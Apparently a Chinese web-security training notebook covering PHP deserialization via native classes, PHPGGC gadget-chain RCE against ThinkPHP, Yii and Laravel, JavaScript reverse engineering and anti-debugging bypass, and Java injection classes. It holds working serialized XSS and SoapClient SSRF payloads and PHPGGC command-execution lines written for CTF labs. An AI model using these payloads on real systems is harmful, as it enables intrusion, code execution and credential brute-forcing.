Exception演示
文章:https://www.anquanke.com/post/id/264823
原生态利用场景:利用是无看到的魔术方法利用的情况下使用的
1、先看能触发的魔术方法
2、没写魔术方法调用逻辑代码
3、使用魔术方法的原生类去利用
4、获取魔术方法的原生类(脚本生成 多少和当前环境的模块开关有关)
5、利用魔术方法里面的内置的类 pop修改内置类 形成攻击
php.ini文件开启soap

源码运行:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
这个PHP源码的作用是扫描当前环境中所有已定义的类,找出其中实现了特定魔术方法的类和方法名
toString种类:
Exception::__toString
ErrorException::__toString
Error::__toString
CompileError::__toString
ParseError::__toString
TypeError::__toString
ArgumentCountError::__toString
ArithmeticError::__toString
DivisionByZeroError::__toString
ClosedGeneratorException::__toString
JsonException::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toString
OutOfBoundsException::__toString
OverflowException::__toString
RangeException::__toString
UnderflowException::__toString
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__toString
DOMException::__toString
PDOException::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
mysqli_sql_exception::__toString
PharException::__toString
Phar::__toString
PharData::__toString
PharFileInfo::__toString
SoapFault::__toString
exception会把报错回显出来,只要构造一个exception类对象给他反序列化了那不就相当于调用toString魔术方法了,把内容改成xss就弹窗了
页面源码是:
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
这里输出了a那么就i相当于把类当作字符串调用了,可以用toString,这里用上面生成的Exception::__toString,具体使用方法可以去php官网里面查找

pop:
<?php
$payload = new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($payload));
?>
新建对象payload,调用Exception,这个报错有回显,我们把回显改成js的xss代码形成弹窗,然后序列化这个再进行url编码
得到:
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A32%3A%22%3Cscript%3Ealert%28%27xiaodi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A66%3A%22D%3A%5Ccyberspace%5Cweb_tools%5CWebsite%5Cphpstudy_pro%5CWWW%5Cdemo01%5C61%5Cpop.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A68%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
传参k等于payload

ctfshow
代码:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
页面:
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
大概意思就是接收xff来判断是不是127.0.0.1,并且要求token是ctfshow才会将flag写入flag.txt文件,这里就是需要利用ssrf让服务器自己去访问,页面的大概意思就是反序列化接收的vip,vip是调用了getflag(),这里注意到这个getflag()是不存在的方法,可以去查找一下哪个魔术方法会因为调用了不存在的方法会被执行,查找到是call,运行前面的代码生成特定的魔术方法
SoapClient::__call

pop:
//满足xff =127.0.0.1 token=ctfshow
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
//调用原生类使用
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
ua头:
aaa // 初始的User-Agent值
\r\n // 换行,结束User-Agent头
X-Forwarded-For:127.0.0.1,127.0.0.1 // 注入的XFF头,满足条件
\r\n // 换行
Content-Type:application/x-www-form-urlencoded // 声明POST数据格式
\r\n // 换行
Content-Length:13 // POST数据长度:token=ctfshow
\r\n // 换行
\r\n // 空行,分隔Header和Body
token=ctfshow // POST数据体
为什么两个127.0.0.1:
执行过程:
X-Forwarded-For: 127.0.0.1,127.0.0.1
↓ explode(',') 变成数组
['127.0.0.1', '127.0.0.1']
↓ array_pop() 弹出最后一个
['127.0.0.1'] ← 弹出最后一个后
↓ array_pop() 再弹出最后一个
'127.0.0.1' ← 这就是$ip的值
如果只有一个:
X-Forwarded-For: 127.0.0.1
↓ explode(',')
['127.0.0.1']
↓ array_pop()
[] ← 数组空了
↓ array_pop()
NULL ← $ip为null,检测失败
生成payload:
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22aaa%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
第62天:WEB攻防-PHP反序列化&CLI框架类&PHPGGC生成器&TP&Yii&Laravel等利用
#反序列化链项目-PHPGGC&NotSoSecure
-NotSoSecure
https://github.com/NotSoSecure/SerializedPayloadGenerator
为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,可以为各种框架生成反序列化payload.
Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC
Python - 原生
-PHPGGC
https://github.com/ambionics/phpggc
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。 目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。
#反序列化框架利用-ThinkPHP&Yii&Laravel
[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url
CTFSHOW 反序列化 267 Yii2反序列化
弱口令登录/源码提示泄漏
GET:index.php?r=site%2Fabout&view-source
GET:/index.php?r=backdoor/shell&code=
./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64
CTFSHOW 反序列化 271 Laravel反序列化
./phpggc Laravel/RCE2 system "id" --url
#Thinkphp 反序列化链分析
Thinkphp-All-vuln-main
➢ 反序列化链项目-PHPGGC&NotSoSecure
phpggc
列出支持的所有项目
./phpggc -l

示例:thinkphp框架
./phpggc -l thinkphp

示例命令执行
./phpggc ThinkPHP/RCE3 system "whoami" --url

编码要在这里编,如果是生成之后再拿去编码会出错,这个拿去thinkphp的框架进行参数传入就能执行
➢ 反序列化框架利用-ThinkPHP&Yii&Laravel
直接查看文件没有回显可以先cp到文件再去访问写入的文件
第63天:WEB攻防-JS应用&算法逆向&三重断点调试&调用堆栈&BP插件发包&安全结合
#前置知识
1、作用域:(本地&全局)
简单来说就是运行后相关的数据值
2、调用堆栈:(由下到上)
简单来说就是代码的执行逻辑顺序
3、常见分析调试:
-代码全局搜索
-文件流程断点
-代码标签断点
-XHR提交断点
4、为什么要学这个?
-针对JS开发应用
-密码登录枚举爆破
-参数提交漏洞检测
-泄漏URL有更多测试
#JS逆向-流程&全局搜索-登录算法
流程断点:审查元素抓网络请求包发起程序
全局搜索:通过抓包参数名进行代码全局搜索
#JS逆向-标签&XHR断点-登录算法
标签断点:审查元素对应标签按钮加入断点
XHR断点:审查元素源代码加入XHR断点配置
#JS逆向-结合BurpSuite-插件引用
1、下载phantomjs并设置环境变量
https://phantomjs.org/download.html
2、BurpSuite加载jsEncrypter插件
https://github.com/c0ny1/jsEncrypter/releases
3、对逆向的加密算法提取JS文件及代码
JSEncrypt.js
var r = new JSEncrypt,
o = "xxxxxxxxx";
r.setPublicKey(o);
var s = r.encrypt(password)
return s
4、讲代码写入到模版中(引用JS和调用加密)
var wasSuccessful = phantom.injectJs('JSEncrypt.js');
function encrypt(password){
var r = new JSEncrypt,
o = "xxxxxxxxx";
r.setPublicKey(o);
var s = r.encrypt(password)
return s
}
// 处理函数
function js_encrypt(payload){
var newpayload;
/**********在这里编写调用加密函数进行加密的代码************/
var newpayload=encrypt(payload)
/**********************************************************/
return newpayload;
}
5、运行刚写入的模版文件后插件连接测试
phantomjs xxxxx.js
6、正常设置发包后选择引用插件选项

➢ JS逆向-流程&全局搜索-登录算法
搜索
申通登录页面测试,保留日志打开

随便登录一个提示错误,查看网络
这个申通的测试和29天的一样的,只不过查函数的方式有点不一样
可以根据登录之后产生的文件去搜索文件名关键字,也是控制台直接加密用不了,然后去搜encrypt关键字找到需要现创建一个对象,才能使用函数
断点
查看调用堆栈

从下往上执行,我们需要寻找加密算法,send是发送,ajax一般是提交的,我们查Login

点击Login跳转并加断点

然后再次登录发现暂停,鼠标停留再logindata发现数据已经加密了

来到右边

作用域里面也能看到,切换调用堆栈可以看到不同的状态

在(匿名)和Login之间数据被加密了
断点、作用域、调用堆栈三者结合来分析代码逻辑
示例

可以根据判断检查,选择value

打个断点,登录


这个s应该就是被加密了,一步步去函数里面看什么变量对应什么

s是a被加密的值,a就是密码,r是一个对象,RSACODE应该就是一个加密算法,o应该就是加密密钥,尝试去控制台利用r加密

尝试在本地测试加密算法,因为有对象,要先去提取出来对象


直接复制整个文件拿去运行

再把这部分放进去

需要改动一些地方,o在代码页中已知,a修改为想要加密的数据

根据加密算法引用到本地去执行加密,需要对代码进行审计,拿出需要的对象和函数进行调试测试
检查
通过检查来追踪

然后在登录的时候就会自动断点

➢ JS逆向-标签&XHR断点-登录算法
XHR
在XHR里面加上生成的文件


点登录,也是可以断下来的

点value的话和前面的操作就一样了
➢ JS逆向-结合BurpSuite-插件引用
两个文件:phantomjs添加到环境变量,jsEncrypter.0.3.2添加到BurpSuite插件
修改phantomjs_server.js文件

这里要引入实现加密的js文件,在之前测试的里面就是这个文件

下载,放在同目录下,引入

加密代码就是:

添加并且稍作修改

保存,运行:
phantomjs phantomjs_server.js

来到BurpSuite,连接

成功,test就是测试左侧的字典

爆破的话和之前一样的操作,只是在后面添加一步


这样爆破就是自定义的加密了
第64天:WEB攻防-JS应用&反调试分析&代码混淆&AST加密还原&本地覆盖&断点条件
#JS逆向-反调试-检测&绕过
程序加入反调试:
1、反调试:
实现防止他人调试、动态分析自己的代码
2、检测调试方法:(见图)
-键盘监听(F12)
-检测浏览器的高度插值
-检测开发者人员工具变量是否为true
-利用console.log调用次数
-利用代码运行的时间差
--利用toString
-检测非浏览器
3、常见绕过方法:
-禁用断点法
-条件断点法
-此处暂停法
-置空函数法
-本地覆盖法
#JS逆向-混淆加密-识别&还原
代码混淆加密:
上述几种方法,已经达到了反调试的效果,但如果他人查看代码,也可能被找出检测功能并删去。为了防止反调试功能被剔除,我们可以对JS代码进行混淆加密。
1、开源代码混淆解密
JJEncode AAEncode JSFuck
https://www.sojson.com/
2、商业代码混淆解密
https://www.jsjiami.com/
https://jsdec.js.org/


➢ JS逆向-反调试-检测&绕过
反调试
网站页面一打开就是断点

并且发不出去
绕过
禁止断点

开启之后就能看到加载后的文件,但是自己也不能断点了
条件断点法


之后就能看到加载后的文件
此处暂停法

置空函数法
现开启禁止断点,然后找那个一打开就自动断点的函数,这里是debugger,来到控制台将函数置空,让函数不起任何作用
本地覆盖法
f12直接被禁用,可以现开启f12然后再访问网站

之前禁用的适合有弹窗,根据弹窗的内容去搜索关键字



尝试添加暂停

依旧不行
本地文件夹替代


修改文件保存

就是找那些会过滤的文件都如此操作,将不需要的给注释掉然后
后续没有断点之后这里也是一个看代码来进行AES的解密过程
➢ JS逆向-混淆加密-识别&还原
上述几种方法,已经达到了反调试的效果,但如果他人查看代码,也可能被找出检测功能并删去。为了防止反调试功能被剔除,我们可以对JS代码进行混淆加密
function sayHello() {
console.log("Hello World!");
}
sayHello();
JJEncode
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$$$+$._+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$.__+"\\"+$.__$+$.$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$._$$+$.$_$_+"\\"+$.__$+$.$$$+$.__$+"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+"()\\"+$.$__+$.___+"{\\"+$.__$+$._$_+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+$._$+(![]+"")[$._$_]+$.$$$_+"."+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$__+$.$$$+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$.$$$+$._$+"\\"+$.__$+$.$$_+$._$_+(![]+"")[$._$_]+$.$$_$+"!\\\");\\"+$.__$+$._$_+"}\\"+$.__$+$._$_+"\\"+$.__$+$.$$_+$._$$+$.$_$_+"\\"+$.__$+$.$$$+$.__$+"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+"();"+"\"")())();
可以在本地的控制台运行

去掉最后的括号

AAEncode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

删除一个括号里面的运行就是源代码

JSFuck

删除最后一个括号,其核心原理是:这些编码器并没有对源代码进行“加密”,而是将其转换成了一个能够“返回”源代码的“函数调用”表达式
最后一个('_');实际上是一个 立即调用函数表达式的结构,前面的(...): 这是一个巨大的、用颜文字字符定义的函数,('_'): 这是对这个函数的调用,并传入了一个参数 '_'
搜狐视频




第65天:WEB攻防-JS应用&安全案例&泄漏云配置&接口调试&代码逻辑&框架漏洞自检
在Javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞。
JS开发应用和PHP,JAVA等区别在于即没源代码,也可通过浏览器查看源代码。
获取URL,获取JS敏感信息,获取代码传参等,所以相当于JS开发的WEB应用属于白盒测试,一般会在JS中寻找更多URL地址,(加密算法,APIkey配置,验证逻辑,架漏洞等)进行后期安全测试。
1、会增加攻击面(URL、接口,分析调试代码逻辑)
2、敏感信息(用户密码、ak/sk、token/session)
3、潜在危险函数(eval、dangerallySetInnerHTML)
4、开发框架类(寻找历史漏洞Vue、NodeJS、Angular等)
打包器Webpack:PackerFuzzer
AK/SK云安全利用:工具箱CF(云安全后续会讲更多)
浏览器插件:Pentestkit FindSomething Wappalyzer(前期的JS收集项目)

➢ JS安全-泄漏配置-SK&AK利用

泄露,使用工具


➢ JS安全-前端逻辑-代码验证机制
代码的验证都放在js就能通过本地修改来达到想要的目的,比如账号登录
➢ JS安全-前端接口-未授权&接口提交
➢ JS安全-框架漏洞-Pentestkit插件检测

第66天:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入
https://github.com/bewhale/JavaSec
https://github.com/j3ers3/Hello-Java-Sec
Java安全-SQL注入-JDBC&MyBatis
-JDBC
1、采用Statement方法拼接SQL语句
2、PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入
安全写法:SQL语句占位符(?) + PrepareStatement预编译
-MyBatis
MyBatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接SQL。
1、order by注入:由于使用#{}会将对象转成字符串,形成order by "user" desc造成错误,因此很多研发会采用${}来解决,从而造成注入.
2、like 注入:模糊搜索时,直接使用'%#{q}%' 会报错,部分研发图方便直接改成'%${q}%'从而造成注入.
3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.
-代码审计案例:inxedu后台MyBatis注入
#Java安全-XXE注入-Reader&Builder
XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。
-XMLReader
-SAXReader
-SAXBuilder
-Unmarshaller
-DocumentBuilder
/**
* 审计的函数
* 1. XMLReader
* 2. SAXReader
* 3. DocumentBuilder
* 4. XMLStreamReader
* 5. SAXBuilder
* 6. SAXParser
* 7. SAXSource
* 8. TransformerFactory
* 9. SAXTransformerFactory
* 10. SchemaFactory
* 11. Unmarshaller
* 12. XPathExpression
*/
#Java安全-SSTI模版-Thymeleaf&URL
SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
1、URL作视图
2、Velocity
3、Thymeleaf
其他语言参考:https://www.cnblogs.com/bmjoker/p/13508538.html
#Java安全-SPEL表达式-SpringBoot框架
SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。
1、Spring表达式
2、Spring反射绕过
靶场
JavaSec
https://github.com/bewhale/JavaSec


8000端口

账号密码admin/admin

Hello-Java-Sec
https://github.com/j3ers3/Hello-Java-Sec


端口8888,账号密码admin/admin

➢ Java安全-SQL注入-JDBC&MyBatis
JDBC
MyBatis
➢ Java安全-XXE注入-Reader&Builder
➢ Java安全-SSTI模版-Thymeleaf&URL
➢ Java安全-SPEL表达式-SpringBoot框架
第67天:WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网
#Java安全-RCE执行-5大类函数调用
-Groovy
-RuntimeExec
-ProcessImpl
-ProcessBuilder
-ScriptEngineManager
检测:(大部分白盒)
黑盒看参数名和参数值
白盒看类函数名和可控变量
#Java安全-JNDI注入-RMI&LDAP&版本
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题(RCE)
JDNI注入利用条件(看上图)
参考:https://blog.csdn.net/dupei/article/details/120534024
#JNDI注入-RMI&LDAP服务&高版本
资料:https://docs.qq.com/doc/DQ3JySmFPZXJkUVBL
